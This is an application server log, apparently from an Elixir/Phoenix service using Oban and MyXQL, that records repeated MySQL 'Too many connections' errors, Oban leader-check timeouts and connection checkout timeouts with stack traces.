[Sat Sep  5 22:26:04.851000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:26:05.338000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:26:05.414000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:26:06.071000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:26:09.259000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:26:10.445000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:26:10.479000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:26:13.377000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:26:13.379000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:26:16.151000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:26:18.627000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:26:20.496000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:26:20.526000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:26:24.081000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.0ms idle=1924.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 22:26:25.653000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:26:26.831000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:26:31.842000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:26:36.493000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:26:36.650000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:26:37.368000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:26:38.724000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:26:39.615000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:26:47.409000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:26:50.282000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:26:51.771000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:26:52.410000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:26:54.962000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:26:57.375000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:26:57.376000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:26:58.687000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:27:01.678000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:27:01.966000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:27:05.938000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:27:07.200000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:27:08.127000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:27:09.782000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:27:15.672000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:27:20.625000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:27:23.159000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:27:25.600000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:27:26.816000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:27:31.247000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:27:32.408000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:27:37.060000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:27:37.409000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:27:39.855000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:27:41.809000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:27:41.809000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:27:44.580000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:27:44.738000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:27:47.699000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:27:47.863000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:27:53.294000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:27:54.506000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:27:55.153000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:27:58.207000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:28:00.807000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:28:05.949000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:28:12.684000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:28:15.840000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:28:16.344000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:28:16.843000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:28:17.316000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:28:20.445000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:28:20.841000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:28:25.362000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:28:25.363000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:28:26.721000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:28:30.172000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:28:36.367000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:28:37.935000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:28:38.456000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:28:40.146000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:28:41.929000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:28:44.580000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:28:47.804000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:28:50.800000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:28:52.255000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:28:54.690000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:28:58.392000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:28:58.776000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:29:03.393000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:29:05.418000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:29:06.792000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:29:08.026000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:29:08.027000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:29:09.102000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:29:10.402000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:29:11.206000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:29:11.973000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:29:13.854000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:29:14.275000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:29:15.664000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:29:19.153000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:29:23.093000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:29:26.137000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:29:31.826000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:29:34.489000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
